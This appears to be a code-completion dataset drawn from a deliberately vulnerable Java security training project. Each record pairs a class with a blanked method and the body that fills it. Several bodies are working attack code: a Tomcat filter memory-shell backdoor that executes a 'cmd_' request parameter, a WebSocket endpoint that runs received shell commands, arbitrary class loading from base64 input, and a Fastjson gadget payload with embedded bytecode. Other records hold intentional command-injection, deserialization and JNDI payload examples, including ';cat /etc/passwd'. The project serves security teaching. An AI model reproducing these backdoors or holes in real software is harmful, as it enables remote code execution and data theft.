try { Registry registry = LocateRegistry.getRegistry("localhost"); Hello stub = (Hello) registry.lookup("Hello"); String response = stub.sayHello(); System.out.println("response: " + response); } catch (Exception e) { System.err.println("Client exception: " + e.toString()); e.printStackTrace(); }
38
99
137
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/RMI/Server.java
Server
main
class Server implements Hello { public String sayHello() { return "Hello Word!"; } public static void main(String args[]) {<FILL_FUNCTION_BODY>} }
try { Server obj = new Server(); Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0); LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry(); registry.bind("Hello", stub); System.out.println("绑定1099端口成功"); } catch (Exception e) { System.err.println("Server exception: " + e.toString()); e.printStackTrace(); }
54
132
186
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/CustomCorsConfig.java
CustomCorsConfig
addCorsMappings
class CustomCorsConfig extends WebMvcRegistrationsAdapter { /** * 设置cors origin白名单。区分http和https,并且默认不会拦截同域请求。 */ @Bean public WebMvcConfigurer corsConfigurer() { return new WebMvcConfigurerAdapter() { @Override public void addCorsMappings(CorsRegistry registry) {<FILL_FUNCTION_BODY>} }; } @Override public RequestMappingHandlerMapping getRequestMappingHandlerMapping() { return new CustomRequestMappingHandlerMapping(); } /** * 自定义Cors处理器,重写了checkOrigin * 自定义校验origin,支持一级域名校验 && 多级域名 */ private static class CustomRequestMappingHandlerMapping extends RequestMappingHandlerMapping { private CustomRequestMappingHandlerMapping() { setCorsProcessor(new CustomCorsProcessor()); } } }
// 为了支持一级域名,重写了checkOrigin //String[] allowOrigins = {"joychou.org", "http://test.joychou.me"}; registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path //.allowedOrigins(allowOrigins) .allowedMethods("GET", "POST") .allowCredentials(true);
250
105
355
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/HttpServiceConfig.java
CustomClientHttpRequestFactory
prepareConnection
class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory { @Override protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException {<FILL_FUNCTION_BODY>} }
super.prepareConnection(connection, httpMethod); // Use custom ClientHttpRequestFactory to set followRedirects false. connection.setInstanceFollowRedirects(false);
53
45
98
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/Object2Jsonp.java
Object2Jsonp
getRealJsonpFunc
class Object2Jsonp extends AbstractJsonpResponseBodyAdvice { private final String[] callbacks; private final Logger logger= LoggerFactory.getLogger(this.getClass()); // method of using @Value in constructor public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) { super(callbacks); // Can set multiple paramNames this.callbacks = callbacks; } // Check referer @Override protected void beforeBodyWriteInternal(MappingJacksonValue bodyContainer, MediaType contentType, MethodParameter returnType, ServerHttpRequest req, ServerHttpResponse res) { HttpServletRequest request = ((ServletServerHttpRequest)req).getServletRequest(); HttpServletResponse response = ((ServletServerHttpResponse)res).getServletResponse(); String realJsonpFunc = getRealJsonpFunc(request); // 如果url带callback,且校验不安全后 if ( StringUtils.isNotBlank(realJsonpFunc) ) { jsonpReferHandler(request, response); } super.beforeBodyWriteInternal(bodyContainer, contentType, returnType, req, res); } /** * @return 获取实际jsonp的callback */ private String getRealJsonpFunc(HttpServletRequest req) {<FILL_FUNCTION_BODY>} // 校验Jsonp的Referer private void jsonpReferHandler(HttpServletRequest request, HttpServletResponse response) { String refer = request.getHeader("referer"); String url = request.getRequestURL().toString(); String query = request.getQueryString(); // 如果jsonp校验的开关为false,不校验 if ( !WebConfig.getJsonpReferCheckEnabled() ) { return; } // 校验jsonp逻辑,如果不安全,返回forbidden if (SecurityUtil.checkURL(refer) == null ){ logger.error("[-] URL: " + url + "?" + query + "\t" + "Referer: " + refer); try{ // 使用response.getWriter().write后,后续写入jsonp后还会继续使用response.getWriteer(),导致报错 // response.setStatus(HttpServletResponse.SC_FORBIDDEN); // response.getWriter().write(" Referer check error."); // response.flushBuffer(); response.sendRedirect(Constants.ERROR_PAGE); } catch (Exception e){ logger.error(e.toString()); } } } }
String reqCallback = null; for (String callback: this.callbacks) { reqCallback = req.getParameter(callback); if(StringUtils.isNotBlank(reqCallback)) { break; } } return reqCallback;
654
69
723
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/SafeDomainConfig.java
SafeDomainConfig
safeDomainParser
class SafeDomainConfig { private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class); @Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中 public SafeDomainParser safeDomainParser() {<FILL_FUNCTION_BODY>} }
try { LOGGER.info("SafeDomainParser bean inject successfully!!!"); return new SafeDomainParser(); } catch (Exception e) { LOGGER.error("SafeDomainParser is null " + e.getMessage(), e); } return null;
85
68
153
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/TomcatFilterMemShell.java
TomcatFilterMemShell
doFilter
class TomcatFilterMemShell implements Filter { static{ try { System.out.println("Tomcat filter backdoor class is loading..."); final String name = "backdoorTomcatFilter"; final String URLPattern = "/*"; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // standardContext为tomcat标准上下文, StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); Class<? extends StandardContext> aClass; try{ // standardContext类名为TomcatEmbeddedContex,TomcatEmbeddedContext父类为StandardContext // 适用于内嵌式springboot的tomcat aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass(); }catch (Exception e){ aClass = standardContext.getClass(); } Field Configs = aClass.getDeclaredField("filterConfigs"); Configs.setAccessible(true); // 获取当前tomcat标准上下文中已经存在的filterConfigs Map filterConfigs = (Map) Configs.get(standardContext); // 判断下防止重复注入 if (filterConfigs.get(name) == null) { // 构造filterDef,并将filterDef添加到standardContext的FilterDef中 TomcatFilterMemShell backdoorFilter = new TomcatFilterMemShell(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(backdoorFilter); filterDef.setFilterName(name); filterDef.setFilterClass(backdoorFilter.getClass().getName()); standardContext.addFilterDef(filterDef); // 构造fiterMap,将filterMap添加到standardContext的FilterMap FilterMap filterMap = new FilterMap(); filterMap.addURLPattern(URLPattern); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); // 最终将构造好的filterConfig存入StandardContext类的filterConfigs成员变量即可 filterConfigs.put(name, filterConfig); System.out.println("Tomcat filter backdoor inject success!"); } else System.out.println("It has been successfully injected, do not inject again."); } catch (Exception e) { System.out.println(e.getMessage()); } } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {<FILL_FUNCTION_BODY>} @Override public void destroy() { } }
String cmd; if ((cmd = servletRequest.getParameter("cmd_")) != null) { Process process = Runtime.getRuntime().exec(cmd); java.io.BufferedReader bufferedReader = new java.io.BufferedReader( new java.io.InputStreamReader(process.getInputStream())); StringBuilder stringBuilder = new StringBuilder(); String line; while ((line = bufferedReader.readLine()) != null) { stringBuilder.append(line).append('\n'); } servletResponse.getOutputStream().write(stringBuilder.toString().getBytes()); servletResponse.getOutputStream().flush(); servletResponse.getOutputStream().close(); return; } filterChain.doFilter(servletRequest, servletResponse);
773
196
969
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java
WebSocketsCmdEndpoint
onMessage
class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole<String> { private Session session; @Override public void onOpen(Session session, EndpointConfig endpointConfig) { this.session = session; session.addMessageHandler(this); } @Override public void onClose(Session session, CloseReason closeReason) { super.onClose(session, closeReason); } @Override public void onError(Session session, Throwable throwable) { super.onError(session, throwable); } @Override public void onMessage(String s) {<FILL_FUNCTION_BODY>} }
try { Process process; boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); if (bool) { process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); } else { process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); } InputStream inputStream = process.getInputStream(); StringBuilder stringBuilder = new StringBuilder(); int i; while ((i = inputStream.read()) != -1) stringBuilder.append((char) i); inputStream.close(); process.waitFor(); session.getBasicRemote().sendText(stringBuilder.toString()); } catch (Exception exception) { exception.printStackTrace(); }
172
202
374
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java
Attach
readFromServer
class Attach { public AsynchronousSocketChannel client; public Session channel; } void readFromServer(Session channel, AsynchronousSocketChannel client) {<FILL_FUNCTION_BODY>
final ByteBuffer buffer = ByteBuffer.allocate(50000); Attach attach = new Attach(); attach.client = client; attach.channel = channel; client.read(buffer, attach, new CompletionHandler<Integer, Attach>() { @Override public void completed(Integer result, final Attach scAttachment) { buffer.clear(); try { if (buffer.hasRemaining() && result >= 0) { byte[] arr = new byte[result]; ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); ByteBuffer q = ByteBuffer.wrap(baos.toByteArray()); if (scAttachment.channel.isOpen()) { scAttachment.channel.getBasicRemote().sendBinary(q); } baos = new ByteArrayOutputStream(); readFromServer(scAttachment.channel, scAttachment.client); } else { if (result > 0) { byte[] arr = new byte[result]; ByteBuffer b = buffer.get(arr, 0, result); baos.write(arr, 0, result); readFromServer(scAttachment.channel, scAttachment.client); } } } catch (Exception ignored) { } } @Override public void failed(Throwable t, Attach scAttachment) { t.printStackTrace(); } });
52
370
422
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/CRLFInjection.java
CRLFInjection
crlf
class CRLFInjection { @RequestMapping("/safecode") @ResponseBody public void crlf(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>} }
response.addHeader("test1", request.getParameter("test1")); response.setHeader("test2", request.getParameter("test2")); String author = request.getParameter("test3"); Cookie cookie = new Cookie("test3", author); response.addCookie(cookie);
58
78
136
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/ClassDataLoader.java
ClassDataLoader
classData
class ClassDataLoader { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); @RequestMapping("/classloader") public void classData() {<FILL_FUNCTION_BODY>} }
try{ ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes(); HttpServletRequest request = sra.getRequest(); String classData = request.getParameter("classData"); byte[] classBytes = java.util.Base64.getDecoder().decode(classData); java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClassMethod.setAccessible(true); Class cc = (Class) defineClassMethod.invoke(ClassLoader.getSystemClassLoader(), null, classBytes, 0, classBytes.length); cc.newInstance(); }catch(Exception e){ logger.error(e.toString()); }
59
199
258
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/CommandInject.java
CommandInject
codeInjectSec
class CommandInject { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd * * @param filepath filepath * @return result */ @GetMapping("/codeinject") public String codeInject(String filepath) throws IOException { String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); } /** * Host Injection * Host: hacked by joychou;cat /etc/passwd * http://localhost:8080/codeinject/host */ @GetMapping("/codeinject/host") public String codeInjectHost(HttpServletRequest request) throws IOException { String host = request.getHeader("host"); logger.info(host); String[] cmdList = new String[]{"sh", "-c", "curl " + host}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream()); } @GetMapping("/codeinject/sec") public String codeInjectSec(String filepath) throws IOException {<FILL_FUNCTION_BODY>} }
String filterFilePath = SecurityUtil.cmdFilter(filepath); if (null == filterFilePath) { return "Bad boy. I got u."; } String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath}; ProcessBuilder builder = new ProcessBuilder(cmdList); builder.redirectErrorStream(true); Process process = builder.start(); return WebUtils.convertStreamToString(process.getInputStream());
396
119
515
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Cookies.java
Cookies
vuln03
class Cookies { private static String NICK = "nick"; @GetMapping(value = "/vuln01") public String vuln01(HttpServletRequest req) { String nick = WebUtils.getCookieValueByName(req, NICK); // key code return "Cookie nick: " + nick; } @GetMapping(value = "/vuln02") public String vuln02(HttpServletRequest req) { String nick = null; Cookie[] cookie = req.getCookies(); if (cookie != null) { nick = getCookie(req, NICK).getValue(); // key code } return "Cookie nick: " + nick; } @GetMapping(value = "/vuln03") public String vuln03(HttpServletRequest req) {<FILL_FUNCTION_BODY>} @GetMapping(value = "/vuln04") public String vuln04(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { for (Cookie cookie : cookies) { if (cookie.getName().equalsIgnoreCase(NICK)) { // key code nick = cookie.getValue(); } } } return "Cookie nick: " + nick; } @GetMapping(value = "/vuln05") public String vuln05(@CookieValue("nick") String nick) { return "Cookie nick: " + nick; } @GetMapping(value = "/vuln06") public String vuln06(@CookieValue(value = "nick") String nick) { return "Cookie nick: " + nick; } }
String nick = null; Cookie cookies[] = req.getCookies(); if (cookies != null) { for (Cookie cookie : cookies) { // key code. Equals can also be equalsIgnoreCase. if (NICK.equals(cookie.getName())) { nick = cookie.getValue(); } } } return "Cookie nick: " + nick;
470
104
574
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Cors.java
Cors
vuls1
class Cors { private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; @GetMapping("/vuln/origin") public String vuls1(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>} @GetMapping("/vuln/setHeader") public String vuls2(HttpServletResponse response) { // 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常 response.setHeader("Access-Control-Allow-Origin", "*"); return info; } @GetMapping("*") @RequestMapping("/vuln/crossOrigin") public String vuls3() { return info; } /** * 重写Cors的checkOrigin校验方法 * 支持自定义checkOrigin,让其额外支持一级域名 * 代码:org/joychou/security/CustomCorsProcessor */ @CrossOrigin(origins = {"joychou.org", "http://test.joychou.me"}) @GetMapping("/sec/crossOrigin") public String secCrossOrigin() { return info; } /** * WebMvcConfigurer设置Cors * 支持自定义checkOrigin * 代码:org/joychou/config/CorsConfig.java */ @GetMapping("/sec/webMvcConfigurer") public CsrfToken getCsrfToken_01(CsrfToken token) { return token; } /** * spring security设置cors * 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行 * 代码:org/joychou/security/WebSecurityConfig.java */ @GetMapping("/sec/httpCors") public CsrfToken getCsrfToken_02(CsrfToken token) { return token; } /** * 自定义filter设置cors * 支持自定义checkOrigin * 代码:org/joychou/filter/OriginFilter.java */ @GetMapping("/sec/originFilter") public CsrfToken getCsrfToken_03(CsrfToken token) { return token; } /** * CorsFilter设置cors。 * 不支持自定义checkOrigin,因为corsFilter优先于setCorsProcessor执行 * 代码:org/joychou/filter/BaseCorsFilter.java */ @RequestMapping("/sec/corsFilter") public CsrfToken getCsrfToken_04(CsrfToken token) { return token; } @GetMapping("/sec/checkOrigin") public String seccode(HttpServletRequest request, HttpServletResponse response) { String origin = request.getHeader("Origin"); // 如果origin不为空并且origin不在白名单内,认定为不安全。 // 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。 if (origin != null && SecurityUtil.checkURL(origin) == null) { return "Origin is not safe."; } response.setHeader("Access-Control-Allow-Origin", origin); response.setHeader("Access-Control-Allow-Credentials", "true"); return LoginUtils.getUserInfo2JsonStr(request); } }
String origin = request.getHeader("origin"); response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie return info;
914
65
979
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Deserialize.java
Deserialize
Jackson
class Deserialize { protected final Logger logger = LoggerFactory.getLogger(this.getClass()); /** * java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br> * <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a> */ @RequestMapping("/rememberMe/vuln") public String rememberMeVul(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie) { return "No rememberMe cookie. Right?"; } String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); ObjectInputStream in = new ObjectInputStream(bytes); in.readObject(); in.close(); return "Are u ok?"; } /** * Check deserialize class using black list. <br> * Or update commons-collections to 3.2.2 or above.Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons.To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true',but you must ensure that your application does not de-serialize objects from untrusted sources.<br> * <a href="http://localhost:8080/deserialize/rememberMe/security">http://localhost:8080/deserialize/rememberMe/security</a> */ @RequestMapping("/rememberMe/security") public String rememberMeBlackClassCheck(HttpServletRequest request) throws IOException, ClassNotFoundException { Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE); if (null == cookie) { return "No rememberMe cookie. Right?"; } String rememberMe = cookie.getValue(); byte[] decoded = Base64.getDecoder().decode(rememberMe); ByteArrayInputStream bytes = new ByteArrayInputStream(decoded); try { AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException in.readObject(); in.close(); } catch (InvalidClassException e) { logger.info(e.toString()); return e.toString(); } return "I'm very OK."; } // String payload = "[\"org.jsecurity.realm.jndi.JndiRealmFactory\", {\"jndiNames\":\"ldap://30.196.97.50:1389/yto8pc\"}]"; @RequestMapping("/jackson") public void Jackson(String payload) {<FILL_FUNCTION_BODY>} }
ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); try { Object obj = mapper.readValue(payload, Object.class); mapper.writeValueAsString(obj); } catch (IOException e) { e.printStackTrace(); }
775
78
853
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Dotall.java
Dotall
main
class Dotall { /** * <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a> */ public static void main(String[] args) throws Exception{<FILL_FUNCTION_BODY>} }
Pattern vuln_pattern = Pattern.compile("/black_path.*"); Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL); String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString()); System.out.println("Poc: " + poc); System.out.println("Not dotall: " + vuln_pattern.matcher(poc).matches()); // false,非dotall无法匹配\r\n System.out.println("Dotall: " + sec_pattern.matcher(poc).matches()); // true,dotall可以匹配\r\n
91
175
266
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/Fastjson.java
Fastjson
main
class Fastjson { @RequestMapping(value = "/deserialize", method = {RequestMethod.POST}) @ResponseBody public String Deserialize(@RequestBody String params) { // 如果Content-Type不设置application/json格式,post数据会被url编码 try { // 将post提交的string转换为json JSONObject ob = JSON.parseObject(params); return ob.get("name").toString(); } catch (Exception e) { return e.toString(); } } public static void main(String[] args) {<FILL_FUNCTION_BODY>} }
// Open calc in mac String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQAzTG1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACcBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAhFeHAuamF2YQwACgALBwAoAQAxbWUvbGlnaHRsZXNzL2Zhc3Rqc29uL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAHW1lL2xpZ2h0bGVzcy9mYXN0anNvbi9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQASb3BlbiAtYSBDYWxjdWxhdG9yCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA9saWdodGxlc3MvcHduZXIBABFMbGlnaHRsZXNzL3B3bmVyOwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgABAABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwA3AAAAAQATABQAAgAMAAAAPwAAAAMAAAABsQAAAAIADQAAAAYAAQAAAD8ADgAAACAAAwAAAAEADwA3AAAAAAABABUAFgABAAAAAQAXABgAAgAZAAAABAABABoAAQATABsAAgAMAAAASQAAAAQAAAABsQAAAAIADQAAAAYAAQAAAEIADgAAACoABAAAAAEADwA3AAAAAAABABUAFgABAAAAAQAcAB0AAgAAAAEAHgAfAAMAGQAAAAQAAQAaAAgAKQALAAEADAAAABsAAwACAAAAD6cAAwFMuAAvEjG2ADVXsQAAAAAAAgAgAAAAAgAhABEAAAAKAAEAAgAjABAACQ==\"], \"_name\": \"lightless\", \"_tfactory\": { }, \"_outputProperties\":{ }}"; JSON.parseObject(payload, Feature.SupportNonPublicField);
160
1,804
1,964
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/FileUpload.java
FileUpload
uploadPicture
class FileUpload { // Save the uploaded file to this folder private static final String UPLOADED_FOLDER = "/tmp/"; private final Logger logger = LoggerFactory.getLogger(this.getClass()); private static String randomFilePath = ""; // uplaod any file @GetMapping("/any") public String index() { return "upload"; // return upload.html page } // only allow to upload pictures @GetMapping("/pic") public String uploadPic() { return "uploadPic"; // return uploadPic.html page } @PostMapping("/upload") public String singleFileUpload(@RequestParam("file") MultipartFile file, RedirectAttributes redirectAttributes) { if (file.isEmpty()) { // 赋值给uploadStatus.html里的动态参数message redirectAttributes.addFlashAttribute("message", "Please select a file to upload"); return "redirect:/file/status"; } try { // Get the file and save it somewhere byte[] bytes = file.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename()); Files.write(path, bytes); redirectAttributes.addFlashAttribute("message", "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'"); } catch (IOException e) { redirectAttributes.addFlashAttribute("message", "upload failed"); logger.error(e.toString()); } return "redirect:/file/status"; } @GetMapping("/status") public String uploadStatus() { return "uploadStatus"; } // only upload picture @PostMapping("/upload/picture") @ResponseBody public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception {<FILL_FUNCTION_BODY>} private void deleteFile(String filePath) { File delFile = new File(filePath); if(delFile.isFile() && delFile.exists()) { if (delFile.delete()) { logger.info("[+] " + filePath + " delete successfully!"); return; } } logger.info(filePath + " delete failed!"); } /** * 为了使用ImageIO.read() * * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file */ private File convert(MultipartFile multiFile) throws Exception { String fileName = multiFile.getOriginalFilename(); String suffix = fileName.substring(fileName.lastIndexOf(".")); UUID uuid = Generators.timeBasedGenerator().generate(); randomFilePath = UPLOADED_FOLDER + uuid + suffix; // 随机生成一个同后缀名的文件 File convFile = new File(randomFilePath); boolean ret = convFile.createNewFile(); if (!ret) { return null; } FileOutputStream fos = new FileOutputStream(convFile); fos.write(multiFile.getBytes()); fos.close(); return convFile; } /** * Check if the file is a picture. */ private static boolean isImage(File file) throws IOException { BufferedImage bi = ImageIO.read(file); return bi != null; } }
if (multifile.isEmpty()) { return "Please select a file to upload"; } String fileName = multifile.getOriginalFilename(); String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 String mimeType = multifile.getContentType(); // 获取MIME类型 String filePath = UPLOADED_FOLDER + fileName; File excelFile = convert(multifile); // 判断文件后缀名是否在白名单内 校验1 String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; boolean suffixFlag = false; for (String white_suffix : picSuffixList) { if (Suffix.toLowerCase().equals(white_suffix)) { suffixFlag = true; break; } } if (!suffixFlag) { logger.error("[-] Suffix error: " + Suffix); deleteFile(filePath); return "Upload failed. Illeagl picture."; } // 判断MIME类型是否在黑名单内 校验2 String[] mimeTypeBlackList = { "text/html", "text/javascript", "application/javascript", "application/ecmascript", "text/xml", "application/xml" }; for (String blackMimeType : mimeTypeBlackList) { // 用contains是为了防止text/html;charset=UTF-8绕过 if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { logger.error("[-] Mime type error: " + mimeType); deleteFile(filePath); return "Upload failed. Illeagl picture."; } } // 判断文件内容是否是图片 校验3 boolean isImageFlag = isImage(excelFile); deleteFile(randomFilePath); if (!isImageFlag) { logger.error("[-] File is not Image"); deleteFile(filePath); return "Upload failed. Illeagl picture."; } try { // Get the file and save it somewhere byte[] bytes = multifile.getBytes(); Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); Files.write(path, bytes); } catch (IOException e) { logger.error(e.toString()); deleteFile(filePath); return "Upload failed"; } logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); logger.info("[+] Successfully uploaded {}", filePath); return String.format("You successfully uploaded '%s'", filePath);
894
735
1,629
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/GetRequestURI.java
GetRequestURI
exclued
class GetRequestURI { private final Logger logger = LoggerFactory.getLogger(this.getClass()); @GetMapping(value = "/exclued/vuln") public String exclued(HttpServletRequest request) {<FILL_FUNCTION_BODY>} }
String[] excluedPath = {"/css/**", "/js/**"}; String uri = request.getRequestURI(); // Security: request.getServletPath() PathMatcher matcher = new AntPathMatcher(); logger.info("getRequestURI: " + uri); logger.info("getServletPath: " + request.getServletPath()); for (String path : excluedPath) { if (matcher.match(path, uri)) { return "You have bypassed the login page."; } } return "This is a login page >..<";
73
150
223
<no_super_class>
JoyChou93_java-sec-code
java-sec-code/src/main/java/org/joychou/controller/IPForge.java
IPForge
proxy
class IPForge { // no any proxy @RequestMapping("/noproxy") public static String noProxy(HttpServletRequest request) { return request.getRemoteAddr(); } /** * proxy_set_header X-Real-IP $remote_addr; * proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for * if code used X-Forwarded-For to get ip, the code must be vulnerable. */ @RequestMapping("/proxy") @ResponseBody public static String proxy(HttpServletRequest request) {<FILL_FUNCTION_BODY>} }
